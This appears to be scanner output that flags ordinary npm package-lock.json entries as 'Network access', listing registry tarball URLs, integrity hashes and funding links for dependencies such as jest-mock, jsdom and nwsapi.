    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz",       "integrity": "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw==",
  • Network accessline 4021
    "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz",
  • Network accessline 4034
    "node_modules/jest-pnp-resolver": {       "version": "1.2.3",       "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz",
  • Network accessline 4035
    "version": "1.2.3",       "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz",       "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==",
  • Network accessline 4036
    "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz",
  • Network accessline 4052
    "node_modules/jest-regex-util": {       "version": "29.6.3",       "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.6.3.tgz",
  • Network accessline 4053
    "version": "29.6.3",       "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.6.3.tgz",       "integrity": "sha512-KJJBsRCyyLNWCNBOvZyRDnAIfUiRJ8v+hOBQYGn8gDyF3UegwiP4gwRR3/SDa42g1YbVycTidUF3rKjyLFDWbg==",
  • Network accessline 4054
    "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.6.3.tgz",
  • Network accessline 4062
    "node_modules/jest-resolve": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.7.0.tgz",
  • Network accessline 4063
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.7.0.tgz",       "integrity": "sha512-IOVhZSrg+UvVAshDSDtHyFCCBUl/Q3AAJv8iZ6ZjnZ74xzvwuzLXid9IIIPgTnY62SJjfuupMKZsZQRsCvxEgA==",
  • Network accessline 4064
    "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.7.0.tgz",
  • Network accessline 4083
    "node_modules/jest-resolve-dependencies": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.7.0.tgz",
  • Network accessline 4084
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.7.0.tgz",       "integrity": "sha512-un0zD/6qxJ+S0et7WxeI3H5XSe9lTBBR7bOHCHXkKR6luG5mwDDlIzVQ0V5cZCuoTgEdcdwzTghYkTW
  • Network accessline 4085
    "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.7.0.tgz",
  • Network accessline 4097
    "node_modules/jest-runner": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.7.0.tgz",
  • Network accessline 4098
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.7.0.tgz",       "integrity": "sha512-fsc4N6cPCAahybGBfTRcq5wFR6fpLznMg47sY5aDpsoejOcVYFb07AHuSnR0liMcPTgBsA3ZJL6kFOjPdoNipQ==",
  • Network accessline 4099
    "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.7.0.tgz",
  • Network accessline 4130
    "node_modules/jest-runtime": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.7.0.tgz",
  • Network accessline 4131
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.7.0.tgz",       "integrity": "sha512-gUnLjgwdGqW7B4LvOIkbKs9WGbn+QLqRQQ9juC6HndeDiezIwhDP+mhMwHWCEcfQ5RUXa6OPnFF8BJh5xegwwQ==",
  • Network accessline 4132
    "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.7.0.tgz",
  • Network accessline 4164
    "node_modules/jest-snapshot": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.7.0.tgz",
  • Network accessline 4165
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.7.0.tgz",       "integrity": "sha512-Rm0BMWtxBcioHr1/OX5YCP8Uov4riHvKPknOGs804Zg9JGZgmIBkbtlxJC/7Z4msKYVbIJtfU+tKb8xlYNfdkw==",
  • Network accessline 4166
    "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.7.0.tgz",
  • Network accessline 4196
    "node_modules/jest-util": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz",
  • Network accessline 4197
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz",       "integrity": "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA==",
  • Network accessline 4198
    "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz",
  • Network accessline 4214
    "node_modules/jest-validate": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.7.0.tgz",
  • Network accessline 4215
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.7.0.tgz",       "integrity": "sha512-ZB7wHqaRGVw/9hST/OuFUReG7M8vKeq0/J2egIGLdvjHCmYqGARhzXmtgi+gVeZ5uXFF219aOc3Ls2yLg27tkw==",
  • Network accessline 4216
    "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.7.0.tgz",
  • Network accessline 4232
    "node_modules/jest-validate/node_modules/camelcase": {       "version": "6.3.0",       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
  • Network accessline 4233
    "version": "6.3.0",       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",       "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==",
  • Network accessline 4234
    "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz",
  • Network accessline 4240
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 4241
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 4242
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 4245
    "node_modules/jest-watcher": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.7.0.tgz",
  • Network accessline 4246
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.7.0.tgz",       "integrity": "sha512-49Fg7WXkU3Vl2h6LbLtMQ/HyB6rXSIX7SqvBLQmssRBGN9I0PNvPmAmCWSOY6SOvrjhI/F7/bGAv9RtnsPA03g==",
  • Network accessline 4247
    "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.7.0.tgz",
  • Network accessline 4265
    "node_modules/jest-worker": {       "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz",
  • Network accessline 4266
    "version": "29.7.0",       "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz",       "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==",
  • Network accessline 4267
    "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz",
  • Network accessline 4281
    "node_modules/jest-worker/node_modules/supports-color": {       "version": "8.1.1",       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
  • Network accessline 4282
    "version": "8.1.1",       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",       "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
  • Network accessline 4283
    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
  • Network accessline 4292
    },       "funding": {         "url": "https://github.com/chalk/supports-color?sponsor=1"
  • Network accessline 4293
    "funding": {         "url": "https://github.com/chalk/supports-color?sponsor=1"       }
  • Network accessline 4294
    "url": "https://github.com/chalk/supports-color?sponsor=1"
  • Network accessline 4297
    "node_modules/jose": {       "version": "6.2.4",       "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.4.tgz",
  • Network accessline 4298
    "version": "6.2.4",       "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.4.tgz",       "integrity": "sha512-N8acGzVsQy6M/fjFcxtysNc4Q379TcM5dM/qKkNtsHFji88yANnXTr7BLeP75iPnFwBfQzM/jg2BZ9+HZrHCZA==",
  • Network accessline 4299
    "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.4.tgz",
  • Network accessline 4303
    "peer": true,       "funding": {         "url": "https://github.com/sponsors/panva"
  • Network accessline 4304
    "funding": {         "url": "https://github.com/sponsors/panva"       }
  • Network accessline 4305
    "url": "https://github.com/sponsors/panva"
  • Network accessline 4308
    "node_modules/js-tokens": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
  • Network accessline 4309
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",       "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
  • Network accessline 4310
    "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
  • Network accessline 4315
    "node_modules/js-yaml": {       "version": "3.14.2",       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz",
  • Network accessline 4316
    "version": "3.14.2",       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz",       "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==",
  • Network accessline 4317
    "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz",
  • Network accessline 4329
    "node_modules/jsdom": {       "version": "24.1.3",       "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz",
  • Network accessline 4330
    "version": "24.1.3",       "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz",       "integrity": "sha512-MyL55p3Ut3cXbeBEG7Hcv0mVM8pp8PBNWxRqchZnSfAiES1v1mRnMeFfaHWIPULpwsYfvO+ZmMZz5tGCnjzDUQ==",
  • Network accessline 4331
    "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz",
  • Network accessline 4370
    "node_modules/jsesc": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
  • Network accessline 4371
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",       "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
  • Network accessline 4372
    "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
  • Network accessline 4383
    "node_modules/json-parse-even-better-errors": {       "version": "2.3.1",       "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
  • Network accessline 4384
    "version": "2.3.1",       "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",       "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9
  • Network accessline 4385
    "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
  • Network accessline 4390
    "node_modules/json-schema-to-ts": {       "version": "3.1.1",       "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz",
  • Network accessline 4391
    "version": "3.1.1",       "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz",       "integrity": "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==",
  • Network accessline 4392
    "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz",
  • Network accessline 4405
    "node_modules/json-schema-traverse": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
  • Network accessline 4406
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",       "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==",
  • Network accessline 4407
    "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
  • Network accessline 4413
    "node_modules/json-schema-typed": {       "version": "8.0.2",       "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz",
  • Network accessline 4414
    "version": "8.0.2",       "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz",       "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==",
  • Network accessline 4415
    "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz",
  • Network accessline 4421
    "node_modules/json5": {       "version": "2.2.3",       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
  • Network accessline 4422
    "version": "2.2.3",       "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",       "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==",
  • Network accessline 4423
    "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz",
  • Network accessline 4434
    "node_modules/kleur": {       "version": "3.0.3",       "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
  • Network accessline 4435
    "version": "3.0.3",       "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",       "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==",
  • Network accessline 4436
    "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
  • Network accessline 4444
    "node_modules/leven": {       "version": "3.1.0",       "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
  • Network accessline 4445
    "version": "3.1.0",       "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",       "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==",
  • Network accessline 4446
    "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
  • Network accessline 4454
    "node_modules/lines-and-columns": {       "version": "1.2.4",       "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
  • Network accessline 4455
    "version": "1.2.4",       "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",       "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==",
  • Network accessline 4456
    "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz",
  • Network accessline 4461
    "node_modules/locate-path": {       "version": "5.0.0",       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
  • Network accessline 4462
    "version": "5.0.0",       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",       "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
  • Network accessline 4463
    "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
  • Network accessline 4474
    "node_modules/lru-cache": {       "version": "5.1.1",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
  • Network accessline 4475
    "version": "5.1.1",       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",       "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
  • Network accessline 4476
    "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
  • Network accessline 4484
    "node_modules/make-dir": {       "version": "4.0.0",       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz",
  • Network accessline 4485
    "version": "4.0.0",       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz",       "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==",
  • Network accessline 4486
    "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz",
  • Network accessline 4495
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 4496
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 4497
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 4500
    "node_modules/makeerror": {       "version": "1.0.12",       "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz",
  • Network accessline 4501
    "version": "1.0.12",       "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz",       "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==",
  • Network accessline 4502
    "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz",
  • Network accessline 4510
    "node_modules/math-intrinsics": {       "version": "1.1.0",       "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
  • Network accessline 4511
    "version": "1.1.0",       "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",       "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
  • Network accessline 4512
    "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
  • Network accessline 4520
    "node_modules/media-typer": {       "version": "1.1.1",       "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz",
  • Network accessline 4521
    "version": "1.1.1",       "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz",       "integrity": "sha512-yz3xRaG20c6/BOzvYoDaGtPmGscs7YivItZEEqe6GbwNfHuxu9YNmvnEkMzKldAGY4/80pRcQRZSEnhquk9XuQ==",
  • Network accessline 4522
    "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.1.tgz",
  • Network accessline 4530
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/express"
  • Network accessline 4531
    "type": "opencollective",         "url": "https://opencollective.com/express"       }
  • Network accessline 4532
    "url": "https://opencollective.com/express"
  • Network accessline 4535
    "node_modules/merge-descriptors": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz",
  • Network accessline 4536
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz",       "integrity": "sha512-Snk314V5ayFLhp3fkUREub6WtjBfPdCPY1Ln8/8munuLuiYhsABgBVWsozAG+MWMbVEvcdcpbi9R7ww22l9Q3g==",
  • Network accessline 4537
    "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-2.0.0.tgz",
  • Network accessline 4544
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 4545
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 4546
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 4549
    "node_modules/merge-stream": {       "version": "2.0.0",       "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
  • Network accessline 4550
    "version": "2.0.0",       "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",       "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
  • Network accessline 4551
    "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
  • Network accessline 4556
    "node_modules/micromatch": {       "version": "4.0.8",       "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
  • Network accessline 4557
    "version": "4.0.8",       "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",       "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
  • Network accessline 4558
    "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
  • Network accessline 4570
    "node_modules/mime-db": {       "version": "1.52.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
  • Network accessline 4571
    "version": "1.52.0",       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",       "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
  • Network accessline 4572
    "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
  • Network accessline 4580
    "node_modules/mime-types": {       "version": "2.1.35",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
  • Network accessline 4581
    "version": "2.1.35",       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",       "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
  • Network accessline 4582
    "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
  • Network accessline 4593
    "node_modules/mimic-fn": {       "version": "2.1.0",       "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
  • Network accessline 4594
    "version": "2.1.0",       "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",       "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==",
  • Network accessline 4595
    "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
  • Network accessline 4603
    "node_modules/minimatch": {       "version": "3.1.5",       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
  • Network accessline 4604
    "version": "3.1.5",       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",       "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
  • Network accessline 4605
    "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
  • Network accessline 4616
    "node_modules/ms": {       "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 4617
    "version": "2.1.3",       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",       "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
  • Network accessline 4618
    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
  • Network accessline 4623
    "node_modules/natural-compare": {       "version": "1.4.0",       "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
  • Network accessline 4624
    "version": "1.4.0",       "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",       "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==",
  • Network accessline 4625
    "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
  • Network accessline 4630
    "node_modules/negotiator": {       "version": "1.0.0",       "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz",
  • Network accessline 4631
    "version": "1.0.0",       "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz",       "integrity": "sha512-8Ofs/AUQh8MaEcrlq5xOX0CQ9ypTF5dl78mjlMNfOK08fzpgTHQRQPBxcPlEtIw0yRpws+Zo/3r+5WRby7u3Gg==",
  • Network accessline 4632
    "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-1.0.0.tgz",
  • Network accessline 4641
    "node_modules/node-int64": {       "version": "0.4.0",       "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",
  • Network accessline 4642
    "version": "0.4.0",       "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",       "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==",
  • Network accessline 4643
    "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",
  • Network accessline 4648
    "node_modules/node-releases": {       "version": "2.0.38",       "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.38.tgz",
  • Network accessline 4649
    "version": "2.0.38",       "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.38.tgz",       "integrity": "sha512-3qT/88Y3FbH/Kx4szpQQ4HzUbVrHPKTLVpVocKiLfoYvw9XSGOX2FmD2d6DrXbVYyAQTF2HeF6My8jmzx7/CRw==",
  • Network accessline 4650
    "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.38.tgz",
  • Network accessline 4655
    "node_modules/normalize-path": {       "version": "3.0.0",       "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
  • Network accessline 4656
    "version": "3.0.0",       "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",       "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
  • Network accessline 4657
    "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
  • Network accessline 4665
    "node_modules/npm-run-path": {       "version": "4.0.1",       "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
  • Network accessline 4666
    "version": "4.0.1",       "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",       "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==",
  • Network accessline 4667
    "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
  • Network accessline 4678
    "node_modules/nwsapi": {       "version": "2.2.23",       "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz",
  • Network accessline 4679
    "version": "2.2.23",       "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz",       "integrity": "sha512-7wfH4sLbt4M0gCDzGE6vzQBo0bfTKjU7Sfpqy/7gs1qBfYz2vEJH6vXcBKpO3+6Yu1telwd0t9HpyOoLEQQbIQ==",
  • Network accessline 4680
    "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.23.tgz",
  • Network accessline 4685
